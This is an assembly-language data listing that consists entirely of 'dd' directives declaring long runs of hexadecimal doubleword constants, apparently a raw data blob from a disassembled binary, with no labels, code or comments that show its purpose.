		dd 0DC0567Ah, 0C5A7A18Eh, 0D6BD306Ah, 253ACB58h, 32E2A502h
		dd 60863D80h, 0BA276EE8h, 3FB90314h, 79CB6D25h,	0C8FFDE2h
		dd 0BDC59AA0h, 0ED07468Eh, 814851F4h, 0FF15DB40h, 99F2005Eh
		dd 25F5DA42h, 64001A7Ah, 2133D2E4h, 0F44180A2h,	4C3EE811h
		dd 131C2155h, 7B5D000Ah, 30F8A32Ah, 0EF672400h,	81C7FA8Ch
		dd 0F94D0011h, 0E978CC5Fh, 0F7007D1Ah, 63700F5Ch, 3B7F3CDCh
		dd 26000296h, 0CE2C69D3h, 0FA00FED4h, 1BA8A0D2h, 0D8BF9Ah
		dd 60AF7059h, 5311A257h, 3900FCA4h, 0B6476109h,	32668665h
		dd 0E108EE5Eh, 0FF1C0C69h, 0E6858188h, 360099FAh, 0DA8290A7h
		dd 2DFCB33h, 60979D3Eh,	8468C9D6h, 0DB7B9BB9h, 1B80AF00h
		dd 98A4FD2Dh, 27DF0CC5h, 0D3580629h, 0DA77D90Ah, 3980F03Dh
		dd 0B3E9F107h, 268E0C15h, 6A0805A6h, 0EE1B21C0h, 1F1DF2h
		dd 0DA8D3C3Eh, 2A92A507h, 9BB46B03h, 9F2E9896h,	4029987Dh
		dd 0EE5B6803h, 11003EEBh, 7A9C4382h, 0E241ACBh,	2527B3AEh
		dd 209D1896h, 9C7036F3h, 0ACF03E00h, 807DB8D3h,	6FE736BEh
		dd 1B215058h, 9C2880EAh, 25D2CB0Bh, 213B6086h, 0B09CF0E4h
		dd 0DF8C1300h, 5AA37FE2h, 32210058h, 2925C8CBh,	0B1C331F1h
		dd 0F07E6A81h, 1946E74Bh, 8E923C5h, 0E1AC502Dh,	4F757E52h
		dd 0B4DECB0Fh, 805B6091h, 0D038905Eh, 0D400BDA0h, 0C7B8CAFDh
		dd 0C600AA30h, 49187420h, 0F1B2D0Dh, 5BF52F36h,	90EBF3A0h
		dd 2200C929h, 8BA9601h,	111C85h, 536E9FBBh, 768027B7h
		dd 779E2B00h, 33190236h, 31CF00D2h, 0D55AB865h,	0FE3E6455h
		dd 0FC2F0016h, 0A861BD28h, 5143000Fh, 0D283A0BCh, 5E00C750h
		dd 0D4F485ACh, 0C053B523h, 0BD2DDD10h, 0D7074E15h, 73FB1893h
		dd 342186Ch, 75595455h,	0BBCC4F4h, 359086EAh, 13C00C0h
		dd 5C9031Dh, 1F66FD5Bh,	3028886Ch, 0BB91B964h, 5226C2E6h
		dd 0AF00275Fh, 0A62D6E8Ch, 0DC960E45h, 0C07DD96Dh, 0CBB87431h
		dd 8B00946Ch, 56F11DEDh, 3A1506B0h, 0BA8017DEh,	7F5A649Fh
		dd 0FB1D559Eh, 0BE1E2814h, 90378B0Ch, 2439035Eh, 408FDD61h
		dd 870080C6h, 17D4D249h, 0EBBBE4h, 96EC7055h, 8FE883C8h
		dd 8000FCF0h, 1924AD86h, 0A32E08h, 0B0E4AB28h, 49A1B685h
		dd 0A2001471h, 0FE9020F9h, 39D9657h, 8864D6E3h,	0A0A71E5Eh
		dd 0B6379A19h, 8975E43Fh, 80E1C102h, 74D9DC16h,	342400F4h
		dd 694EA25Dh, 2C00D31Ah, 87ADD781h, 14BCFFh, 84D49A61h
		dd 1EDA0FEAh, 34DE3100h, 9D9741DFh, 2D13007Ah, 80A53817h
		dd 7E031BB9h, 3391784Eh, 0DB080062h, 1D586D05h,	0AF004FADh
		dd 0D2A29717h, 1DC3722Ah, 40B981ABh, 802E0560h,	3C7BA973h
		dd 0E5AE7C00h, 991334F2h, 2DF8005Dh, 0E0F031F7h, 8276F953h
		dd 0FF727D00h, 0DE79EEECh, 40E10028h, 0EBAD51A9h, 0FE0041C9h
		dd 88294353h, 1784CCAh,	6348FD30h, 0E4F990E9h, 0DB0707E5h
		dd 3684E41h, 0DD8D2A00h, 0F7F847h, 0FA4449Eh, 25B12055h
		dd 0BEB43700h, 0BA4EC4BDh, 8FD502CDh, 2226B03Ah, 6BBFA80h
		dd 28079029h, 0C0D4501Eh, 9D01B68Ah, 0A9D75511h, 9DC8119Eh
		dd 8660C0D0h, 0A7E870Eh, 91013174h, 0B92996C3h,	0DC40D738h
		dd 1745DBEh, 59ABC083h,	0E881C9B4h, 0AD00DFE4h,	0C367D0F7h
		dd 491CA9h, 0B5CCC229h,	8C80FECEh, 30266C07h, 0F4208918h
		dd 0B7798Fh, 5FD97512h,	0F910134h, 53ABF900h, 46C96DF7h
		dd 0CE240585h, 44611E8Bh, 806FC590h, 816D5915h,	1F00457Bh
		dd 9E66EF06h, 0C0D39h, 0C2C8B899h, 0AF2CDACEh, 0A7153700h
		dd 625D7577h, 0EE0D0125h, 0B1890540h, 4883C0CDh, 90A31303h
		dd 0E1D01A1Fh, 83405704h, 1D088ABBh, 39BD6196h,	0E973FA00h
		dd 0CB43A111h, 0A49D2300h, 0DADBB448h, 0A2B0BEh, 2B465271h
		dd 8B96FA5Eh, 9E658900h, 56FB7E9Ch, 52BD0762h, 404E5438h
		dd 11C6C257h, 76514600h, 0ABAFA061h, 0CA79E0h, 3E39B1Ah
		dd 30E974D3h, 4A720500h, 0FF46F12h, 0E0C401BEh,	8890E171h
		dd 30A2FC11h, 56967300h, 322E42B8h, 0B1E800F6h,	9CD16629h
		dd 54017B12h, 90E496D0h, 90DF884Bh, 4D49ECh, 0CD0A835Eh
		dd 9F8BC5A2h, 0A42CAA3Eh, 28006480h, 6415F64h, 2A760E24h
		dd 0CBE0B1C2h, 0B6F71DE0h, 0FBF8100h, 0BE8E4252h, 766F84Ah
		dd 51AF9F68h, 0A646F0DEh, 2D00E3A0h, 1B559A31h,	38BCFC76h
		dd 1F80EA22h, 4E7F26FBh, 7D0EB5D2h, 0F3F524h, 0AD19C3B8h
		dd 0B7350006h, 6C0189BEh, 9300E870h, 21E6420Dh,	95EDFCh
		dd 784BF40Ch, 0C2D1AB8Bh, 9C3CC712h, 3A374700h,	0B8E9E3h
		dd 0C5C347EAh, 0F6276507h, 8797B503h, 0F0140169h, 48DA690h
		dd 2CC0B3A1h, 5708267h,	8122D7E0h, 30B05800h, 2ED889BFh
		dd 69420037h, 512D1E72h, 0DA00F638h, 0FFF4E6C1h, 0E804329Eh
		dd 3CC50780h, 8035684Dh, 5F7A2450h, 82737E3Fh, 4B11B485h
		dd 6BDC80DBh, 2521C33h,	34B164C7h, 0B0406D41h, 9D00CAC5h
		dd 9936D072h, 24DE02h, 0EB324590h, 9233DFE0h, 5CB9D60Eh
		dd 0FBA98046h, 0FC0EECACh, 0BAC92F5h, 0E581D285h, 0D4171600h
		dd 7800B1A4h, 0FE3B5512h, 77FD23B0h, 0D2E00027h, 0B2C32695h
		dd 0BD04BA07h, 0A920DF98h, 8E0069A8h, 0DDCC7F72h, 0FA03279Ah
		dd 7950A889h, 0A0E801B4h, 0A4D863B8h, 24243054h, 38D29320h
		dd 2E7D1E4Bh, 648D38h, 8FEBE550h, 35FA6473h, 0F2DD7D00h
		dd 6D1BF181h, 266C7CBFh, 1918BB4h, 0FDDCF5FCh, 0E88FC844h
		dd 0E9CDA802h, 0E1DB943Dh, 9881991Eh, 0AFD49D26h, 4B702438h
		dd 0D218CEF0h, 70119B85h, 954107F5h, 30C8AD8Fh,	0FA7E1420h
		dd 70AB7730h, 7D62557h,	80B3CE78h, 41BB4790h, 41C8069Ch
		dd 0F1ABE8C4h, 0EC5CF095h, 0A969CB30h, 9A60B4B0h, 0EE910084h
		dd 0CEE4F34Ah, 5807C849h, 4E4C2B8Ah, 18B831B0h,	0B74618B1h
		dd 0A13C20F5h, 6C387660h, 0C097389Ch, 808BE850h, 40E969E5h
		dd 4592FF2Ch, 0B6C00700h, 48FBA14Eh, 0F4AB004Ah, 0E3972B55h
		dd 5876683Fh, 22057C01h, 1719E8F9h, 503F704Ch, 7FF385Eh
		dd 11E88B5Ch, 0FD33406Ah, 0AC503C55h, 40EBE510h, 0E8D9311Ch
		dd 1DB4F200h, 50BE5DCFh, 0AD59480Ch, 0DF965800h, 159D9B2Bh
		dd 6BC0D300h, 5065B7AAh, 0A7080029h, 40369451h,	8A7E9274h
		dd 8B002BE8h, 0E07F59FFh, 8FF7C0h, 671358BBh, 966F9A1Ch
		dd 6C7D5200h, 1EBA7297h, 48F01C6Bh, 560945DFh, 15BC5274h
		dd 0BE3E90C8h, 1959E518h, 0B9C08E88h, 0E9906892h, 1E99485Fh
		dd 7A7C71Dh, 20F6F041h
		dd 0C31479D5h, 9D1CA05h, 2C0337FEh, 9B115F7Eh, 61E6B7h
		dd 3EB1498Fh, 80D144A9h, 81782100h, 427F8FCh, 297360B7h
		dd 15A5FD3Eh, 931E0AFCh, 0F281A6ADh, 0EA94B1AAh, 65DDB2E1h
		dd 6F7C6980h, 5939DD16h, 0ABC51503h, 0D1E848F1h, 19F82D93h
		dd 0BF302E7h, 1CEFED99h, 0D6393844h, 0DB67807Dh, 0CE01EC2Fh
		dd 9DA20011h, 60462018h, 407A2878h, 0F22CDFE8h,	0C800BF0Bh
		dd 3BDCB462h, 0F8B8D5h,	4C513F6Ch, 123998DBh, 0C2F0C300h
		dd 0C56E5414h, 63F80676h, 0D9EFB47Ch, 0F208F100h, 0F91F6A5Fh
		dd 7034003Ah, 0D416658Ch, 0A035990h, 1422814Fh,	898EA060h
		dd 249279h, 547CE89Eh, 249D1738h, 0F77DE0FFh, 0EC283Ah
		dd 2B70E53Ch, 0C306DD1h, 51080ACDh, 0B9076438h,	68FDE69Dh
		dd 0D004E3F0h, 0B8E899h, 0DFF6E4EDh, 75CD790Bh,	0FA869F00h
		dd 0F5D13418h, 0B8882461h, 402D9F00h, 0F2A88AB1h, 38CEB411h
		dd 6A3C2114h, 309E9071h, 17ED41BAh, 808C6E84h, 69AB9739h
		dd 75A88809h, 456F0096h, 5BFBE430h, 0F03959A0h,	23C000A6h
		dd 3DBD4F29h, 1583015h,	2C9E1050h, 0C6D68D00h, 0E1A2B98Eh
		dd 0F90A127Ch, 0B150226Fh, 839BBC20h, 4230007Eh, 84D4470Bh
		dd 0F0C0DC62h, 0F637CA2Bh, 178015CBh, 0EC07C41Eh, 0D3048DBFh
		dd 1C90A99Ch, 93080DCh,	0A5F22161h, 0C4861589h,	2A09F4D9h
		dd 0B080666Ah, 3211370Fh, 1DE6FB00h, 20CFFD2Ch,	2DE80285h
		dd 0D96563A2h, 22779480h, 0B6009F7Bh, 27B98446h, 4C87A1DFh
		dd 0F1C100Bh, 925A42DCh, 45208F6Dh, 16042DAh, 8A9DEFADh
		dd 0E09F4F14h, 0A70BA81Fh, 8043DF3Ah, 0A04BD0A6h, 2781027Ah
		dd 8A8EF592h, 0E4151444h, 15C15AAh, 464018AFh, 61D82EBDh
		dd 0F962006Ah, 8ED53653h, 39C37A9Eh, 5A5E8D7h, 343DE89h
		dd 73B4404Eh, 6BAF01ADh, 0EF26A3E6h, 3A470C6Eh,	0F0C65913h
		dd 5F8F69h, 0BB52009h, 16FBD9F2h, 0C3ED0701h, 7CE38E1Ch
		dd 80E56983h, 27EB4232h, 8C62F5E1h, 71601D19h, 0F2520033h
		dd 0B42D47B5h, 8300FB5Ch, 911AD34h, 0FB986302h,	0B1E9D4D4h
		dd 601C24ECh, 0ED40A338h, 9EACC700h, 0E17A3CC4h, 0ABD8000Bh
		dd 0AF7C7FE8h, 0C1C0946Dh, 25D904B7h, 9F36027Ah, 0D7C5FDCCh
		dd 0FE1C9CA0h, 5A005272h, 7D63DCF0h, 506A4Bh, 46908392h
		dd 34EE1F81h, 4EE24C00h, 0E74598FEh, 75A7000Ah,	7B147E3Ch
		dd 520182A9h, 64F0047Ch, 0C20DC40h, 18E0271h, 1522F5C8h
		dd 0B87C1040h, 0B4D6A013h, 0D7479420h, 81FE07AFh, 0F043FBDDh
		dd 941A0FC8h, 8E12F00Ah, 9160F8ECh, 99FA0A60h, 929D006Ch
		dd 0B7170D1Dh, 6251ED61h, 8E8022BCh, 1C7C9D75h,	0CF0178DEh
		dd 42D121FDh, 3DE0FA79h, 0F5931268h, 0CDF44081h, 5290D54Ch
		dd 82A4F302h, 0C4FD0A48h, 48F7481Ch, 7E8CAB00h,	2C86E5BCh
		dd 8123EC3Eh, 0B9D1E26h, 4F7191EDh, 3DB808h, 6544385Eh
		dd 3649F11Eh, 2C805491h, 69568510h, 294300D6h, 9CEB30A3h
		dd 14905E05h, 8481917Eh, 275A020h, 0A5D14042h, 0C861A7FFh
		dd 5A88507Ch, 7D003D7Bh, 0B9C7B6DAh, 187AB8D5h,	0B9861DA2h
		dd 490099FFh, 25878C2h,	794740h, 0F5198D4Dh, 68C90DBh
		dd 0E89C530Bh, 0CC1C034Fh, 0B881EF9Dh, 0C4301FFFh, 0F4ED3E57h
		dd 0BFBADF8Fh, 20D91D8Fh, 6D85C433h, 0B3F1BB60h, 8C24CEh
		dd 90815C2Eh, 0A86883C1h, 0FA171F00h, 30BB024Eh, 9D8E192Ah
		dd 0FC94E188h, 825C4DE6h, 2DF600D7h, 1CE37ED2h,	0C86D5140h
		dd 6180BCE9h, 88E4A252h, 0B0CF4649h, 9D2AC162h,	1F3FD00Dh
		dd 381D4127h, 0F09C4C87h, 2905F8F1h, 0AB46DE40h, 0B77FA401h
		dd 60C422D6h, 0A57E0E87h, 0BE22B69Ch, 0C46F4Ch,	0DD4B6A00h
		dd 1DED25D4h, 7447489Bh, 7CB47E09h, 0CF4F3020h,	0B300CD82h
		dd 60EA54F1h, 58E2F722h, 0AD16CF15h, 5DEAC14h, 3F8CAA1Fh
		dd 0D65238CCh, 604448F9h, 8B02B8A6h, 641A5F48h,	3FDE030Ch
		dd 24077EFFh, 0FBE41A0h, 8BA40E1Ch, 8DAC5C7h, 510AFDE0h
		dd 81AC9890h, 0CC302EE4h, 0E2C43059h, 0F0161D69h, 7330A001h
		dd 5CD1F7C1h, 30CB3060h, 87F1A28Ah, 0DB003F2Ah,	2BD66BB4h
		dd 2435EEDh, 0C35D59B7h, 0A8A1ACF4h, 221A5342h,	140F00BCh
		dd 65DFB4DAh, 0BB0417EDh, 6019F8D9h, 3505E321h,	0A7480067h
		dd 164B8B57h, 62E1D6C8h, 91891364h, 40938822h, 0C42ABA0h
		dd 0EA6A5AE8h, 760078C1h, 1454807Fh, 0BDA5BAh, 357E498Eh
		dd 9E304897h, 0C2220B03h, 0B56E87h, 33AFD359h, 4D4CB958h
		dd 0A102B200h, 2F730951h, 0B8CB1211h, 7A200761h, 0D2A7D0F3h
		dd 0C100B0F2h, 84BFF718h, 92E3C408h, 5A77D4h, 4BD3583Ah
		dd 5164B19Ah, 0B688D150h, 0A3D85C0Bh, 2AE000D6h, 1599070Bh
		dd 204451CDh, 3112D12h,	432109Fh, 0EA608C99h, 2B8EB440h
		dd 0CD12B277h, 4400AB4h, 0A398A935h, 0FEE1012Ch, 1B65BFEBh
		dd 0B07AE0ECh, 0FB38613Bh, 0D1E3DF12h, 20BB3F0Fh, 9437065Dh
		dd 0AF20A7Ah, 8AC03F60h, 9F88896Fh, 0C04C1EDBh,	90CDC708h
		dd 18001D3Ah, 0A23D7DBAh, 1E864033h, 872B1951h,	0D2CA7AF2h
		dd 884403D7h, 2CE3D800h, 0A5D02AFBh, 3A6E7296h,	21E08ADFh
		dd 0BF2D2944h, 0F9E7A406h, 0EA19BA6Dh, 9A98002Eh, 3F5C80DFh
		dd 0E000DE02h, 37F10F97h, 793EF8E5h, 9DC0532h, 353A14Fh
		dd 0F29D20C8h, 0F08E25B9h, 0D1C48C0Bh, 5841BD88h, 20FDABF9h
		dd 2506F10Fh, 3D54162h,	18BC9029h, 1168F215h, 900116ACh
		dd 92B458EBh, 4022F4D5h, 4E7E3F00h, 9A2C462h, 405A42BFh
		dd 496A55A0h, 3F004C7Fh, 1C6F89A0h, 5400D117h, 4DE792D2h
		dd 9338810Ah, 0EECC04E0h, 5EC0823Ch, 70525A61h,	3B887D54h
		dd 7E25FC9Eh, 14CD0E7Eh, 736146FAh, 22B733BDh, 266B0000h
		dd 0CD0E2D18h, 8F2A1E67h, 17070084h, 1CB4B7B5h,	0D3F1D002h
		dd 80E9D559h, 0CAA6D878h, 80B45813h, 2E6AF80h, 0B51C5E01h
		dd 37C0C6D3h, 0A9881A6Eh, 8F030914h, 480B84Bh, 13168101h
		dd 0F5E339C1h, 0B88CC150h, 461B06Fh, 234A4F00h,	0C64B1CFBh
		dd 0A1DD00CBh, 0FABAD78Ch, 8F2E74D1h, 0AE6094ADh, 4AB2Bh
		dd 84F5C3C7h, 4B1D1791h, 0D1C44200h, 923615E4h,	7FE1FD45h
		dd 818BB413h, 0BC3856F8h, 119C5A4Ch, 204A0B3Ch,	1A7A9940h
		dd 0AAAD4F00h, 80DA1032h, 0C4A42Bh, 0A15EA7BAh,	29B30AF1h
		dd 0AD7CBD00h, 4A7554CAh, 0AEF90125h, 924746E8h, 1704226Eh
		dd 4E0029B4h, 0E8ACDE5Fh, 0A5F3024Eh, 6027B271h, 97C6EB81h
		dd 0C7EC7166h, 0EBD7890Ah, 0F540C0AAh, 6DBB812h, 0B72C8092h
		dd 2A009170h, 0C4FCF411h, 0B5A0BBh, 876CF297h, 0EF9D8B26h
		dd 46564300h, 0FC15F6D6h, 63091753h, 0CC4842C6h, 0C0C03CE4h
		dd 34C462Ch, 26D580ACh,	0F46DFBh, 0E94DA022h, 9C05F2ABh
		dd 28A8010Ah, 6828EC36h, 0CCF3C3Fh, 9111B7F3h, 0A57B018Dh
		dd 0CC08350Ch, 3D2429B4h, 0A78880DAh, 56221901h, 0B6F107D5h
		dd 506ED79Bh, 5DAC8EF9h, 7A446890h, 136CB384h, 72880243h
		dd 0C884E044h, 6BEC4F1Eh, 179C18A0h, 0E21B0050h, 0CEA963B9h
		dd 0B00B074h, 3D44B765h, 0B957098Bh, 458E3EB8h,	0BC21F256h
		dd 4803D408h, 0B90B89B8h, 47DED10h, 0C0C17CCCh,	0EC388114h
		dd 5B2AE380h, 0A039B58Bh, 1CD048E5h, 7E40FEA9h,	0EBDF5EB1h
		dd 3BA12590h, 0E7BF8023h, 6E8450F8h, 3474505h, 1BC330B4h
		dd 0BCECF83Fh, 2B71000Eh, 55F1BBE6h, 0A605FA59h, 0BFB2D7ADh
		dd 0E1C84C5Fh, 87E1271h
		dd 1D8CD318h, 72A02927h, 658C0037h, 0C291BABDh,	0D90039BBh
		dd 0C7AFA457h, 2CEB3ABEh, 4068887Bh, 262DDABAh,	0CA876500h
		dd 56A41642h, 49C0080h,	0AE627EF1h, 6C99EFD7h, 582DC681h
		dd 7460F44Dh, 7EC42AB9h, 8B4107DCh, 0E03CB018h,	2410E3D1h
		dd 0A10246EEh, 720CC269h, 508508Dh, 1D70C8BFh, 0C55C0081h
		dd 0F2B454BEh, 0F44A2200h, 9E2690D7h, 4F0A0CE6h, 790847A8h
		dd 110F4BFEh, 0E5C3125Fh, 0C0028C02h, 59ECDE98h, 0CF350EB4h
		dd 0F0081960h, 8D27766Ah, 0B048103Ch, 0C4120871h, 3E0056EDh
		dd 0F8D9495Fh, 5432078Dh, 0B0BC7D80h, 9E4120A0h, 685EC0Bh
		dd 31EC84CEh, 95408C8h,	0F33532AEh, 43ABFC84h, 0E0B1B9D8h
		dd 105AD3Fh, 0CBF64AE8h, 8E9C70D5h, 0EC59D4h, 8AA89D4Eh
		dd 47FD01BFh, 0DA22487Fh, 48621Dh, 0F30EED25h, 1C6D14C7h
		dd 0ECE83C89h, 3AC2064h, 0F44CEC03h, 0E9A791E2h, 81972C06h
		dd 46007D73h, 85F923D2h, 0B9E48EA8h, 0FC033C84h, 51384BD1h
		dd 490C480Bh, 65900487h, 0A1E48Ch, 0CEBA4D59h, 918E7A5Eh
		dd 0E06E9096h, 739329EBh, 4B990F4Fh, 308C0AE7h,	220C15B9h
		dd 118F1CCFh, 5D5001Ah,	12E3B40h, 0EB17312Ch, 0AC00E555h
		dd 0FFBF93DBh, 43172EADh, 47A16E54h, 70218BF3h,	2602D6ADh
		dd 15D07DFCh, 3CAF40ACh, 0CE78A8ADh, 4DED0F99h,	93E0095Ah
		dd 55D63BDCh, 1A580h, 7D9F1A85h, 7022D97Bh, 1B164500h
		dd 0B4C33F0Ch, 62EE8F6h, 0F58ED750h, 0C486E978h, 5147B107h
		dd 4F40A10Bh, 1E529E4h,	0D191A8D0h, 0D025A0A6h,	389CECA5h
		dd 0B903867h, 1953BF7h,	82E902F9h, 0E9292F4Ah, 806068D7h
		dd 0FF13E6D8h, 0E1D10055h, 0E18F05Ch, 4D0073DFh, 854AB24Eh
		dd 0F38F93h, 0DD3F55CDh, 0A282E10Ah, 0FB4E500h,	22431D3Bh
		dd 0A8E212B7h, 708400A5h, 939C55C7h, 9F65DF00h,	3292579Eh
		dd 6FCA0FEh, 0B20180CBh, 2404B358h, 400954A8h, 8DA4985Eh
		dd 5F180072h, 137E7326h, 0D4007875h, 8C0075Ah, 120BF35Eh
		dd 303D6EB4h, 0F128C6E0h, 0EC0001F6h, 50537DABh, 79FAF04Ch
		dd 0FE2D0018h, 0BDBEE4Fh, 11275DEDh, 0FFD4A76Fh, 7A141570h
		dd 121A07CCh, 0C7332B58h, 0FE0724Eh, 5898404Ch,	1D146508h
		dd 0BDDD8074h, 0CF86CDA8h, 2C93F424h, 0F9B04B00h, 27A9294h
		dd 0A44055E2h, 9C60FAC0h, 0FC91DF7Dh, 0AB69D580h, 761719Bh
		dd 6BC586E9h, 0C90F1FEh, 16331A6h, 4003F5D6h, 4EDEDB74h
		dd 0D82AB100h, 547E6A38h, 0F3182532h, 6E4BF378h, 7B087C40h
		dd 0F6ECAFh, 9C1140F7h,	0B9E1EA69h, 7052AD07h, 68BB0AE4h
		dd 0A1A44F0h, 57B8D415h, 0CE7E01B0h, 33F6D5A1h,	0ED54022Ch
		dd 726F8E58h, 71630070h, 802AF647h, 0E4032F7Eh,	0FF099B98h
		dd 0B0591276h, 0B9230454h, 4C8C8CD5h, 0C0D3A800h, 47B70906h
		dd 7658BA59h, 1458B6BCh, 4A3F9C03h, 520A5389h, 65C0F010h
		dd 3E44F890h, 82D09C88h, 845CC787h, 0CD3BB240h,	14865F00h
		dd 0B89DD5C9h, 829100D0h, 0EC4765C3h, 0C00F9D1h, 790B8429h
		dd 588D4F45h, 92EC3Fh, 2322B448h, 69C062F5h, 8A73D5BCh
		dd 315C0072h, 66FF44E9h, 86762150h, 794B6100h, 0C6FC60EAh
		dd 0E71B00E3h, 0B2DEE029h, 0EE000A55h, 4ECE4FDh, 0BCEB33h
		dd 960771B1h, 0C56F09F4h, 3500BCB9h, 38179AECh,	0F9293EBDh
		dd 800DA29Eh, 5F35D28h,	0B730FE98h, 8468A975h, 0E13400AFh
		dd 0C2448914h, 0B0906308h, 0A1F92D00h, 919D9C46h, 86E419EFh
		dd 875ED8C4h, 0A50BBA20h, 78E4FD84h, 73A8B815h,	673D0FAFh
		dd 48C27BFAh, 0C8818EC5h, 723085BBh, 0FEC0F40h,	11829C54h
		dd 41723FC0h, 4C40B402h, 1F0CD2Bh, 7C2EEDFCh, 0C658DC06h
		dd 29640060h, 3FB050EFh, 0B07E2DAh, 0C11C743Ch,	1A663980h
		dd 30F64889h, 0DEAD5280h, 8A4BDA0Dh, 4FC2D847h,	3EEF5620h
		dd 0B8B11Dh, 1CE7785Bh,	0AE0081E2h, 0BC3C71ACh,	5CE5275Dh
		dd 6A05E0E6h, 0E0FDA5F1h, 0B730FC40h, 5ABCB176h, 1A2B136Eh
		dd 24860053h, 0FCED157Bh, 0D002327Ah, 85A7C8E3h, 9938E34Ch
		dd 4822570Ah, 0CE4211Fh, 0D585060h, 0E4406E4Bh,	6A24CD76h
		dd 75AF0069h, 4ECC268Dh, 0F300E713h, 0ED300CA4h, 4A8E83CBh
		dd 9E3090F6h, 6E00E89Dh, 0DD3D934Eh, 622EE65h, 0B4D060DCh
		dd 0C91EB1D8h, 17409CC8h, 3DF0C5F6h, 2A72094Eh,	0F0884902h
		dd 2386006Ch, 556E8EABh, 2D087D00h, 0C421C79Ch,	0B971C068h
		dd 1C1681D9h, 0E727A400h, 74EE0BE1h, 6F860080h,	4E82AABAh
		dd 710985B4h, 80ABA522h, 0B693FA0Dh, 2E547A46h,	60C08110h
		dd 0CA16EC9h, 0B4309F7Ch, 25AB89EEh, 38DF0041h,	0B2437DD7h
		dd 0C8F0D377h, 9B61A00h, 28FD952Eh, 4F24A06Ah, 0E2630012h
		dd 222FB87Fh, 0E42608CEh, 0C84020C4h, 0E2DC42h,	0BFA8A3D5h
		dd 0A2AF52DAh, 33D4D20h, 1462E812h, 10044560h, 6D2A8773h
		dd 990A68E2h, 11D87170h, 37DD0096h, 75058198h, 0DE472512h
		dd 63F8A010h, 83F6AB00h, 0BBBD8629h, 14DA00F0h,	0BAEAD44h
		dd 7116E89Fh, 3C88F2F6h, 7EE094h, 672608E7h, 6D9F8E1Eh
		dd 0A9B59C00h, 0F5D019ABh, 0E851482Ah, 340556C0h, 6B009BCBh
		dd 33906E49h, 2F3C70h, 0EA7C4B1Dh, 0A619BBAAh, 8779F8B0h
		dd 78B89E04h, 10B91D64h, 214ED100h, 0E60D5250h,	0E29A3D09h
		dd 33C660Ah, 67816F56h,	3EB8F2A3h, 11004DF5h, 697F3CCDh
		dd 27F4A85Dh, 0B0A06DABh, 7890168Ch, 0A082FB2Ch, 0B580A31Dh
		dd 358F4FB6h, 9DE0DF8h,	40613157h, 5A1CC040h, 212A11C0h
		dd 0F9FB48h, 0CEA54DE1h, 0C354EFFEh, 4C46DC00h,	1DD8A3B4h
		dd 0FF31C025h, 69663AE2h, 0A0730D0Eh, 25C20D2h,	7135C29Eh
		dd 598202A7h, 77B4B232h, 94AA9CA0h, 1D5468B7h, 0ED00A324h
		dd 29152BC4h, 0E6DB10h,	0A0D123C0h, 533B3E13h, 0D73D6003h
		dd 9D5B6590h, 0F0FC0480h, 17297CB5h, 0C1EA5749h, 2836EC00h
		dd 8B3EC070h, 18E2FA9h,	0DCCE3D59h, 68B7D414h, 0CFA9C028h
		dd 12D54D4Bh, 0B23C7290h, 0F59F0154h, 0F2CB43D6h, 460FFD7h
		dd 2E814FAh, 0B411F3F4h, 1C7AF78Eh, 5DB69E0Fh, 68600CDh
		dd 145F11ACh, 0B01A5BCFh, 0ADF9C09Fh, 92215360h, 9390C600h
		dd 0D1D2B10Ch, 614A0032h, 0D5AA7ED6h, 8700C762h, 8527801Fh
		dd 743F070Bh, 55040F8Dh, 9219D49h, 22B724FCh, 0B28E00DCh
		dd 3743A1E2h, 0D09800DCh, 598AED97h, 22093591h,	5F5AEF9h
		dd 0C02CB0h, 2718ABB7h,	68A0C4CEh, 95FD8802h, 0C9343001h
		dd 53FC57DDh, 783820h, 56E24CDCh, 29A5F336h, 9C438000h
		dd 82EA1D9Eh, 703390D5h, 57E9C2D4h, 94C43BDFh, 0B2A1E000h
		dd 7EDE6298h, 4C8C09CBh, 0F4091D76h, 4B0198C4h,	5A11ECFBh
		dd 683CCDD5h, 0EB8BDC0h, 0D2002562h, 0C65AC73Dh, 1CF86812h
		dd 82A6D674h, 0AA2BC269h, 0A4CD50C0h, 4DE4E600h, 33E15826h
		dd 0C4B701D7h, 804F716h, 0D3EAF054h, 5B3F19C0h,	0E2DC64F2h
		dd 0D5B63E27h, 0FB3B400h, 0AD259FD8h, 0ECAB0400h, 6AD2D4AAh
		dd 777C0052h, 0B9247857h, 5400DCEBh, 0B4EC99BFh, 6F931E7h
		dd 0C52DF2B3h, 0CC60E25Eh, 1BE62F69h, 376F0AE4h, 70C5B28h
		dd 4CD53FC4h, 2B005778h, 69980DA7h, 0C7CCDCBCh,	0A0924819h
		dd 918316B2h, 2BB1A700h, 0B49063A3h, 6ABA02CCh,	6F3C531Fh
		dd 6DA80063h, 3033C516h, 0E07141D0h, 0F0C5E81h,	0F6B4F7A1h
		dd 14FE6F2Ah, 0F11DF7F5h, 451D0F69h, 3698D66Ch,	3223F900h
		dd 3EB5DF5Fh, 6A1C010Ch
		dd 0BBC55E2Bh, 8FA011DAh, 606480DAh, 1DA2FA3Bh,	408A34A8h
		dd 81F0F5Ch, 0C801A016h, 0F49E1730h, 9080C259h,	37CF916Eh
		dd 0AB3B80A1h, 483C30FFh, 1E3594D5h, 408CFE19h,	7663992Dh
		dd 69C0D88Fh, 7A7BEC41h, 9DBB01B0h, 29E9F5FAh, 0B7B98F2Eh
		dd 0FC12C0F6h, 60F4A5F8h, 0EE461991h, 83000476h, 49D3A8CDh
		dd 0AB25B3C5h, 16AF3F8h, 745FEA29h, 0EF8C54B7h,	8A1C29B8h
		dd 7D612802h, 2393A80Dh, 0F39057F5h, 38015821h,	0B29F6127h
		dd 0F03BA189h, 0CB383FA9h, 805B07B9h, 4EA02213h, 0A0D9D40Dh
		dd 247A5920h, 40442E26h, 9E1DB310h, 0FC02A5FAh,	26802D68h
		dd 660440Dh, 710FC655h,	0EE0011C7h, 647B3991h, 0F71176h
		dd 737595ADh, 44D7DCEAh, 0FCA45900h, 792A1C2Ch,	39D2608Fh
		dd 8994BE30h, 46E80400h, 8BC9F2ADh, 1B3F0B4Fh, 0A080BCFCh
		dd 1C959DEAh, 0EE02C403h, 28DE510Eh, 2470B9h, 3BB15672h
		dd 9020913Ch, 0B6983900h, 0FA48D088h, 0EA31017Dh, 415707D1h
		dd 0EDC9D4DDh, 2A67C33Ch, 0A506F401h, 27CF2CE2h, 477E11h
		dd 0DF35D484h, 26E40EFCh, 13008174h, 431DE11Eh,	0FA12FFA1h
		dd 0CF9D18C0h, 0B0D23905h, 0E0A9FD04h, 0C4801669h, 38AB818Bh
		dd 2D986D0Ch, 0EEE329EAh, 0F1C98863h, 3ECBD01Bh, 1E9000FCh
